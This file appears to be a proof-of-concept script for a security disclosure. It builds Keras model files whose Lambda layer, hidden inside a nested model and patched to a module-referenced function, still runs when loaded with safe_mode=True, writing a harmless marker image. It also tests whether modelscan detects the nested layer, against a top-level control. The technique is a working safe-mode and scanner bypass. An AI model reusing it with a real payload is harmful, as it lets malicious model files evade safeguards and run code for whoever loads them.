import hashlib import json import os import shutil import subprocess import sys import zipfile from pathlib import Path ROOT = Path(__file__).resolve().parent LAB = ROOT / "lab" POC = LAB / "safe_mode_public_function_nested.keras" CONTROL = LAB / "safe_mode_public_function_top_level_control.keras" MARKER_NAME = "safe_mode_public_function_marker.png" CONTROL_MARKER_NAME = "safe_mode_public_function_control_marker.png" MARKER = LAB / "safe_mode_public_function_marker.png" CONTROL_MARKER = LAB / "safe_mode_public_function_control_marker.png" MODEL_SCAN_JSON = LAB / "modelscan_safe_mode_public_function.json" CONTROL_SCAN_JSON = LAB / "modelscan_safe_mode_public_function_control.json" RESULTS = LAB / "results_safe_mode_public_function.json" def sha256(path): h = hashlib.sha256() with open(path, "rb") as f: for chunk in iter(lambda: f.read(1024 * 1024), b""): h.update(chunk) return h.hexdigest() def run(cmd): proc = subprocess.run( cmd, cwd=ROOT, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, ) return { "cmd": [str(part) for part in cmd], "returncode": proc.returncode, "stdout": proc.stdout, "stderr": proc.stderr, } def patch_lambda_function_module(path): tmp_path = path.with_suffix(".tmp.keras") with zipfile.ZipFile(path, "r") as zin, zipfile.ZipFile( tmp_path, "w" ) as zout: config = json.loads(zin.read("config.json")) def walk(obj): if isinstance(obj, dict): if ( obj.get("class_name") == "Lambda" and obj.get("config", {}).get("name") in { "hidden_plot_gallery_lambda", "top_level_plot_gallery_lambda", } ): obj["config"]["function"] = { "module": "keras.visualization", "class_name": "function", "config": "plot_image_gallery", "registered_name": None, } for value in obj.values(): walk(value) elif isinstance(obj, list): for value in obj: walk(value) walk(config) for info in zin.infolist(): data = ( json.dumps(config).encode() if info.filename == "config.json" else zin.read(info.filename) ) zout.writestr(info, data) tmp_path.replace(path) def read_config_layers(path): with zipfile.ZipFile(path, "r") as zf: config = json.loads(zf.read("config.json")) top_layers = [ layer.get("class_name") for layer in config.get("config", {}).get("layers", []) ] lambda_locations = [] function_configs = [] def walk(obj, trail="root"): if isinstance(obj, dict): if obj.get("class_name") == "Lambda": lambda_locations.append(trail) function_configs.append(obj.get("config", {}).get("function")) for key, value in obj.items(): walk(value, f"{trail}.{key}") elif isinstance(obj, list): for index, value in enumerate(obj): walk(value, f"{trail}[{index}]") walk(config) return top_layers, lambda_locations, function_configs def build_models(): os.environ.setdefault("KERAS_BACKEND", "tensorflow") import keras LAB.mkdir(exist_ok=True) for artifact in ( POC, CONTROL, MARKER, CONTROL_MARKER, MODEL_SCAN_JSON, CONTROL_SCAN_JSON, RESULTS, ): if artifact.exists(): artifact.unlink() inputs = keras.Input(shape=(2, 2, 1), name="outer_input") inner_inputs = keras.Input(shape=(2, 2, 1), name="inner_input") hidden = keras.layers.Lambda( keras.visualization.plot_image_gallery, arguments={ "path": MARKER_NAME, "rows": 1, "cols": 1, "show": False, "value_range": (0, 1), }, output_shape=(2, 2, 1), name="hidden_plot_gallery_lambda", )(inner_inputs) inner = keras.Model(inner_inputs, hidden, name="inner_nested_model") outer = keras.Model(inputs, [inputs, inner(inputs)], name="outer_model") outer.save(POC) patch_lambda_function_module(POC) control_inputs = keras.Input(shape=(2, 2, 1), name="control_input") control_hidden = keras.layers.Lambda( keras.visualization.plot_image_gallery, arguments={ "path": CONTROL_MARKER_NAME, "rows": 1, "cols": 1, "show": False, "value_range": (0, 1), }, output_shape=(2, 2, 1), name="top_level_plot_gallery_lambda", )(control_inputs) control = keras.Model( control_inputs, [control_inputs, control_hidden], name="top_level_control_model", ) control.save(CONTROL) patch_lambda_function_module(CONTROL) def validate_runtime(model_path, marker_path): script = ( "import json, os, pathlib\n" "import numpy as np\n" "import keras\n" f"model_path = pathlib.Path(r'{model_path}')\n" f"marker = pathlib.Path(r'{marker_path}')\n" "marker.unlink(missing_ok=True)\n" "os.chdir(model_path.parent)\n" "model = keras.saving.load_model(model_path, safe_mode=True)\n" "after_load = marker.exists()\n" "outputs = model(np.ones((1, 2, 2, 1), dtype='float32'))\n" "primary_sum = float(np.sum(outputs[0].numpy()))\n" "result = {\n" " 'safe_mode_load_succeeded': True,\n" " 'marker_after_load': after_load,\n" " 'marker_after_inference': marker.exists(),\n" " 'marker_size_bytes': marker.stat().st_size if marker.exists() else 0,\n" " 'primary_output_sum': primary_sum,\n" " 'secondary_output_is_none': outputs[1] is None,\n" "}\n" "print(json.dumps(result, sort_keys=True))\n" ) return run([sys.executable, "-c", script]) def validate_modelscan(path, output_json): modelscan = shutil.which("modelscan") if modelscan is None: modelscan = str(ROOT / ".venv" / "Scripts" / "modelscan.exe") result = run( [ modelscan, "scan", "-p", str(path), "-r", "json", "-o", str(output_json), "--show-skipped", ] ) scanner_json = None if output_json.exists(): scanner_json = json.loads(output_json.read_text()) return result, scanner_json def package_versions(): script = ( "import json, keras, modelscan\n" "mods = {}\n" "for name in ['matplotlib', 'PIL', 'tensorflow', 'numpy']:\n" " try:\n" " mod = __import__(name)\n" " mods[name] = getattr(mod, '__version__', 'unknown')\n" " except Exception as exc:\n" " mods[name] = f'unavailable: {type(exc).__name__}: {exc}'\n" "print(json.dumps({\n" " 'python': __import__('sys').version,\n" " 'keras': keras.__version__,\n" " 'modelscan': getattr(modelscan, '__version__', 'unknown'),\n" " **mods,\n" "}, sort_keys=True))\n" ) result = run([sys.executable, "-c", script]) try: return json.loads(result["stdout"]) except json.JSONDecodeError: return {"version_probe": result} def parse_json_stdout(result): try: return json.loads(result["stdout"]) except json.JSONDecodeError: return None def main(): build_models() top_layers, lambda_locations, function_configs = read_config_layers(POC) control_top_layers, control_lambda_locations, _ = read_config_layers(CONTROL) runtime = validate_runtime(POC, MARKER) control_runtime = validate_runtime(CONTROL, CONTROL_MARKER) scanner_run, scanner_json = validate_modelscan(POC, MODEL_SCAN_JSON) control_scanner_run, control_scanner_json = validate_modelscan( CONTROL, CONTROL_SCAN_JSON ) results = { "artifact": str(POC), "sha256": sha256(POC), "size_bytes": POC.stat().st_size, "marker": str(MARKER), "top_level_layers_seen_by_modelscan_logic": top_layers, "lambda_locations": lambda_locations, "lambda_function_configs": function_configs, "runtime_run": runtime, "runtime_json": parse_json_stdout(runtime), "modelscan_run": scanner_run, "modelscan_json": scanner_json, "control_artifact": str(CONTROL), "control_sha256": sha256(CONTROL), "control_top_level_layers": control_top_layers, "control_lambda_locations": control_lambda_locations, "control_runtime_run": control_runtime, "control_runtime_json": parse_json_stdout(control_runtime), "control_modelscan_run": control_scanner_run, "control_modelscan_json": control_scanner_json, "versions": package_versions(), } RESULTS.write_text(json.dumps(results, indent=2)) print(json.dumps(results, indent=2)) if __name__ == "__main__": main()